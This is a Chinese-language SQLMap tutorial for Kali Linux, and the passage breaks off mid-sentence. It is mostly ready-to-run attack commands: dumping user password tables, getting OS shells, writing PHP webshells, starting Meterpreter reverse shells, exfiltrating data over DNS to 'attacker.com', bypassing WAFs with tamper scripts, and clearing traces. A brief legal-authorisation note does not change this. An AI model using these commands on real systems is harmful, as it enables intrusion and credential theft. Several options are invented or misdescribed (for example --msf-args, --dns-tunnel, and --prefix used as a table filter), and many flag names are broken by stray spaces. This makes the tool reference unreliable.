

Kali Linux 中 SQLMap 的深度使用指南及实战

本文将全面介绍 Kali Linux 中 SQLMap 的使用，结合最新技术细节与攻防技巧，覆盖从基础检测到高级渗透的全流程，助力读者深入掌握 SQLMap 在渗透测试中的应用。

目录

Kali Linux 中 SQLMap 的深度使用指南及实战	1
一、基础检测与漏洞发现	3
1. 快速检测目标 URL	3
2. 检测 POST 参数注入	3
3. 检测 HTTP 头部注入	3
4. 从 Burp Suite 加载请求	4
二、数据库信息枚举	4
1. 获取数据库列表	4
2. 列出指定数据库的表	4
3. 列出表的列信息	5
4. 转储表数据	5
三、高级渗透与权限提升	5
1. 执行系统命令	5
2. 获取系统 Shell	5
3. 上传 WebShell	6
4. 利用 Metasploit 获取 Meterpreter	6
四、绕过防护与优化	6
1. 绕过 WAF	6
2. 优化扫描速度	7
3. 处理复杂注入	7
五、特殊场景处理	7
1. Cookie 注入	7
2. 带外注入（DNS 隧道）	8
3. 数据库权限提升	8
六、注意事项	8
1. 法律合规	9
2. 隐蔽性增强	9
3. 风险控制	9
4. 日志清理	9
七、典型攻击流程示例	9
1. 检测漏洞	9
2. 枚举数据库	9
3. 列出用户表	9
4. 导出用户密码	10
5. 获取系统权限	10
八、进阶技巧	10
1. 自动化渗透框架	10
2. 高级绕过脚本	10
3. 带外数据通道	11
九、参考资源	11
1. 官方文档	11
2. 实战案例	11
3. 高级技巧	11
十、常见问题解答	12
1. 如何处理需要认证的目标？	12
2. 如何处理 HTTPS 请求？	12
3. 如何绕过字符过滤？	12
4. 如何处理大文件导出？	12

一、基础检测与漏洞发现

1. 快速检测目标 URL

```
sqlmap -u "http://example.com/vuln.php?id=1" --batch --level 3 --risk 2
```

- 参数详解：
 - `--level 3`: 对 User - Agent、Referer 等头部参数进行检测。
 - `--risk 2`: 包含 OR 时间盲注等高风险测试，提高检测精准度。
 - `--banner`: 获取 Web 服务器和数据库指纹，辅助判断目标环境。
 - `--fresh - queries`: 强制刷新缓存，避免因缓存数据导致的误判。

2. 检测 POST 参数注入

```
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123" --method POST --csrf - token "csrf_token_value"
```

- 应用场景：
 - 处理带 **CSRF** 令牌的表单: `--csrf - token` 可自动识别并处理令牌值，确保测试准确性。
 - 多参数注入测试: 通过 `-p "username,password"` 可同时对多个参数进行注入检测。
 - 二进制数据注入处理: 利用 `--binary - fields "avatar"` 能够测试文件上传字段是否存在注入漏洞。

3. 检测 HTTP 头部注入

```
sqlmap -u "http://example.com" --headers "User - Agent: test" --level 5 --cookie "PHPSESSID=test"
```

- 高级技巧：
 - 全参数检测: `--level 5` 对所有 HTTP 参数 (Cookie、Host、Referer 等) 进行全面检测。

- 自定义 Header: 使用 `--headers "X - Forwarded - For: 127.0.0.1"` 伪造客户端 IP, 模拟不同来源请求。
- 多 Cookie 处理: 支持多个 Cookie 值, 如 `--cookie "PHPSESSID=test; token=123"`, 适应复杂场景。

4. 从 Burp Suite 加载请求

```
sqlmap -r burp_request.txt --scope "target\com" --threads 10
```

- 优化配置:
 - 目标过滤: `--scope` 通过正则表达式过滤目标, 如 `--scope "example\com"`, 精准定位测试范围。
 - 错误分析: `--parse - errors` 分析响应中的错误信息, 辅助检测潜在漏洞。
 - 智能模式: `--smart` 自动选择最优检测方法, 提高测试效率。

二、数据库信息枚举

1. 获取数据库列表

```
sqlmap -u "http://example.com" --dbs --batch --exclude - sysdbs
```

- 参数说明:
 - `--exclude - sysdbs`: 排除系统数据库 (如 `information_schema`), 专注用户数据库。
 - `--schema`: 获取数据库架构信息, 了解数据库结构。
 - `--tables - D mysql`: 直接枚举 MySQL 系统表, 掌握系统数据库细节。

2. 列出指定数据库的表

```
sqlmap -u "http://example.com" -D test_db --tables --batch --prefix "user_" --suffix "_data"
```

- 模式匹配:
 - `--prefix`: 过滤表名前缀, 如 `user_`, 快速定位相关表。
 - `--suffix`: 过滤表名后缀, 如 `_data`, 精准筛选目标表。

- `--common - tables`: 枚举常见敏感表 (users、admin_logs 等), 提高枚举效率。

3. 列出表的列信息

```
sqlmap -u "http://example.com" -D test_db -T users --columns --batch --string "password"
```

- 智能过滤:
 - `--string`: 仅显示包含指定字符串的列, 如 `password`, 快速找到敏感信息列。
 - `--binary`: 检测二进制字段, 如文件内容存储字段。
 - `--clause "WHERE id = 1"`: 限定查询条件, 缩小查询范围。

4. 转储表数据

```
sqlmap -u "http://example.com" -D test_db -T users -C id,username,password --dump --batch --output - dir "/custom/output"
```

- 高级导出:
 - `--dump - format csv`: 将数据导出为 CSV 格式, 方便后续处理。
 - `--dump - all`: 转储所有数据库数据, 全面获取信息。
 - `--search "admin"`: 全局搜索包含特定字符串的数据, 快速定位关键信息。

三、高级渗透与权限提升

1. 执行系统命令

```
sqlmap -u "http://example.com" --os - cmd "whoami" --batch --hex --base64
```

- 编码绕过:
 - `--hex`: 对命令进行十六进制编码, 绕过部分防护机制。
 - `--base64`: 对命令进行 Base64 编码, 增加命令隐蔽性。
 - `--eval "import os; os.system('whoami')"`: 执行 Python 代码, 拓展命令执行方式。

2. 获取系统 Shell

```
sqlmap -u "http://example.com" --os - shell --batch --os - pwn --msf - path  
"/usr/share/metasploit - framework"
```

- 深度渗透：
 - `--os - pwn`: 自动生成 Metasploit 攻击载荷，实现深度渗透。
 - `--msf - path`: 指定 Metasploit 路径，如 Kali 默认路径，确保工具协同工作。
 - `--priv - esc`: 尝试数据库权限提升，如 MySQL 的 UDF 提权，获取更高权限。

3. 上传 WebShell

```
sqlmap -u "http://example.com" --file - write "shell.php" --file - dest "/var/www/html/shell.php"  
--batch --check - write
```

- 安全验证：
 - `--check - write`: 上传前验证路径可写性，确保 WebShell 能成功上传。
 - `--file - read "/etc/passwd"`: 读取敏感文件验证权限，评估上传可行性。
 - `--tmp - path "/tmp"`: 指定临时文件目录，便于文件操作管理。

4. 利用 Metasploit 获取 Meterpreter

```
sqlmap -u "http://example.com" --os - pwn --msf - path "/usr/share/metasploit - framework" --  
msf - args "LHOST = 192.168.1.100 LPORT = 4444"
```

- 参数详解：
 - `--msf - args`: 传递 Metasploit 参数，如 LHOST、LPORT，配置连接信息。
 - `--msf - payload "windows/meterpreter/reverse_tcp"`: 指定载荷类型，满足不同渗透需求。
 - `--msf - listener`: 自动启动 Metasploit 监听，实现有效连接。

四、绕过防护与优化

1. 绕过 WAF

```
sqlmap -u "http://example.com" --tamper  
"space2comment.py,randomcase.py,charencode.py" --batch --prefix "/*!50000" --suffix "--+"
```

- 高级绕过：
 - `--prefix`: 添加数据库特定前缀，如 MySQL 的 `/*!50000`，绕过 WAF 规则。
 - `--suffix`: 添加注释结尾，如 `--+`，混淆防护系统。
 - `--union - cols 1 - 10`: 自动探测 UNION 注入列数，优化注入测试。

2. 优化扫描速度

```
sqlmap -u "http://example.com" -o --threads 10 --keep - alive --null - connection
```

- 性能调优：
 - `-o`: 开启所有优化选项，等价于 `--keep - alive --null - connection --threads = 3`，提升扫描效率。
 - `--threads 10`: 设置最大并发线程数，建议不超过 10，平衡扫描速度与稳定性。
 - `--delay 0.5`: 设置请求间隔，避免因频繁请求被封。

3. 处理复杂注入

```
sqlmap -u "http://example.com" --level 5 --risk 3 --time - sec 5 --technique "BEUST"
```

- 技术组合：
 - `--technique "BEUST"`: 同时使用布尔盲注、报错注入、UNION 查询、堆查询、时间盲注等多种技术，应对复杂注入场景。
 - `--time - sec 5`: 设置时间盲注延迟秒数，优化时间盲注效果。
 - `--string "Welcome"`: 自定义响应匹配字符串，提高注入检测准确性。

五、特殊场景处理

1. Cookie 注入

```
sqlmap -u "http://example.com" --cookie "PHPSESSID = test" --level 2 --batch --eval "import hashlib; PHPSESSID = hashlib.md5(id).hexdigest()"
```

- 动态 Cookie 处理：
 - `--eval`：动态计算 Cookie 值，如根据 id 生成 MD5，适应复杂 Cookie 机制。
 - `--randomize "PHPSESSID"`：每次请求随机化 Cookie 值，增加隐蔽性。
 - `--safe - url "http://example.com/keepalive.php"`：保持会话有效性，确保测试过程稳定。

2. 带外注入（DNS 隧道）

```
sqlmap -u "http://example.com" --dns - domain "attacker.com" --batch --os - shell --dns - tunnel
```

- 实施步骤：
 - a. 自建 DNS 服务器监听：如使用 `dnscraf` 搭建 DNS 服务器。
 - b. 执行命令：`sqlmap -u... --dns - domain "sub.attacker.com"`，发起带外注入请求。
 - c. DNS 服务器接收外带数据：获取数据库名、表名等敏感信息。
 - d. 配合获取反向 Shell：结合 `--os - shell` 通过 DNS 隧道获取反向 Shell，实现权限提升。

3. 数据库权限提升

```
sqlmap -u "http://example.com" --is - dba --priv - esc --batch --os - shell
```

- 提权流程：
 - e. `--is - dba`：确认当前用户是否为 DBA，判断提权可能性。
 - f. `--priv - esc`：尝试数据库提权，如 MySQL 的 `udf` 提权，获取更高权限。
 - g. `--os - shell`：获取系统权限，实现全面控制。
 - h. `--file - write "pspy64" --file - dest "/tmp/pspy64"`：上传进程监控工具，进一步掌握系统信息。

六、注意事项

1. 法律合规

- 书面授权：必须获得书面授权，否则可能触犯《网络安全法》第 27 条。
- 明确范围：测试范围需明确，避免越权访问，确保合法合规。

2. 隐蔽性增强

- 随机 User - Agent：使用 `--random - agent`，从 Kali 默认路径 `/usr/share/sqlmap/data/txt/user - agents.txt` 中随机选择 User - Agent。
- 自定义 User - Agent：通过 `--user - agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36"` 自定义 User - Agent，增加隐蔽性。

3. 风险控制

- 生产环境谨慎操作：生产环境禁用 `--risk 3` 和 `--level 5`，避免对业务造成影响。
- 命令选择：慎用 `--os - shell`，优先使用 `--os - cmd` 执行低风险命令，降低风险。

4. 日志清理

- 删除临时文件：使用 `sqlmap --purge - output` 删除所有临时文件，不留痕迹。
- 清除会话缓存：执行 `--flush - session` 清除会话缓存，保障测试环境整洁。

七、典型攻击流程示例

1. 检测漏洞

```
sqlmap -u "http://dvwa.example.com/vulnerabilities/sql/?id = 1" --batch --level 3 --risk 2
```

2. 枚举数据库

```
sqlmap -u "http://dvwa.example.com/vulnerabilities/sql/?id = 1" --dbs --batch --exclude - sysdbs
```

3. 列出用户表

```
sqlmap -u "http://dvwa.example.com/vulnerabilities/sqli?id = 1" -D dvwa --tables --batch --common - tables
```

4. 导出用户密码

```
sqlmap -u "http://dvwa.example.com/vulnerabilities/sqli?id = 1" -D dvwa -T users -C user,password --dump --batch --output - dir "/custom/output"
```

5. 获取系统权限

```
sqlmap -u "http://dvwa.example.com/vulnerabilities/sqli?id = 1" --os - shell --batch --os - pwn --msf - path "/usr/share/metasploit - framework"
```

八、进阶技巧

1. 自动化渗透框架

```
sqlmap -u "http://example.com" --batch --smart --os - pwn --msf - args "LHOST = 192.168.1.100 LPORT = 4444"
```

- 功能说明：
 - **--smart**：自动选择最优攻击方式，提高渗透效率。
 - **--os - pwn**：结合 Metasploit 生成反向 Shell，实现深度控制。
 - **--msf - args**：传递 Metasploit 参数，灵活配置渗透环境。

2. 高级绕过脚本

```
# 自定义 Tamper 脚本 (bypass_waf.py)  
from lib.core.enums import PRIORITY  
__priority__ = PRIORITY.NORMAL
```

```
def tamper(payload, **kwargs):  
    payload = payload.replace(" ", "/*!50000*/")  
    payload = payload.replace("SELECT", "SEL/*!50000*/ECT")  
    return payload
```

- 使用方法：

```
sqlmap -u "http://example.com" --tamper "bypass_waf.py" --batch
```

3. 带外数据通道

```
sqlmap -u "http://example.com" --dns - domain "attacker.com" --batch --os - shell --dns -  
tunnel
```

- 实施步骤：
 - i. 部署 DNS 服务器：如使用 [dnscnf](#) 搭建 DNS 服务器。
 - j. 执行命令：[sqlmap -u... --dns - domain "sub.attacker.com"](#)，发起带外数据传输。
 - k. DNS 服务器接收数据：获取敏感信息，实现数据外带。

九、参考资料

1. 官方文档

- [SQLMap 官方文档](#)
- [Kali Linux SQLMap 教程](#)

2. 实战案例

- [SQLMap 在 DVWA 中的渗透测试]([https://github.com/ethicalhack3r/DVWA/wiki/SQL - Injection - \(SQLi\)](https://github.com/ethicalhack3r/DVWA/wiki/SQL-Injection-(SQLi)))
- [SQLi - Labs 通关指南]([https://github.com/Audi - 1/sqli - labs](https://github.com/Audi-1/sqli-labs))

3. 高级技巧

- [SQLMap Tamper 脚本编写指南]([https://github.com/sqlmapproject/sqlmap/wiki/Tamper - Scripts](https://github.com/sqlmapproject/sqlmap/wiki/Tamper-Scripts))

- [SQLMap 与 Metasploit 结合使用](<https://www.offensive-security.com/metasploit-unleashed/sqlmap/>)

十、常见问题解答

1. 如何处理需要认证的目标？

```
sqlmap -u "http://example.com" --auth - type Basic --auth - cred "admin:password" --batch
```

2. 如何处理 HTTPS 请求？

```
sqlmap -u "https://example.com" --crawl 2 --batch
```

3. 如何绕过字符过滤？

```
sqlmap -u "http://example.com" --tamper "apostrophemask.py,space2comment.py" --batch
```

4. 如何处理大文件导出？

```
sqlmap -u "http://example.com" --dump --batch --output - dir "/large/output" --threads 5
```

以上内容全面覆盖了 SQLMap 在 Kali Linux 中的核心功能与高级技巧，建议读者结合实际环境灵活调整参数组合。在渗透测试过程中，务必始终